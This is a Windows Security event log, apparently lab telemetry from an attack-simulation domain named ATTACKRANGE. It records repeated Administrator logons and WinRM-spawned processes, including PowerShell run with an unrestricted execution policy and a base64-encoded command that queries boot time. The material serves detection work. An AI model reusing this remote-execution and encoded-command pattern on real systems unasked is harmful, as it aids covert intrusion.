EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247996
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247995
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247994
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4CB4

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd8c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xbb4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247993
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4CB4

Process Information:
	New Process ID:		0xbb4
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247992
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4CB4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247991
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4CB4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247990
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247989
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248014
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F6EEB

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248013
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F6EEB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248012
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:47 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=248011
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248045
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FD235

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248044
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FD235
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248043
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=248042
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248041
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FCB55

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf30
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfb4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248040
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FCB55

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfb4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x520
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248039
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FCEC3

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248038
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FCEC3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248037
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=248036
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248035
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FCB55

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaec
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x520
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248034
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FCB55

Process Information:
	New Process ID:		0x520
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248033
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FCB55

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248032
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FCB55
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248031
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
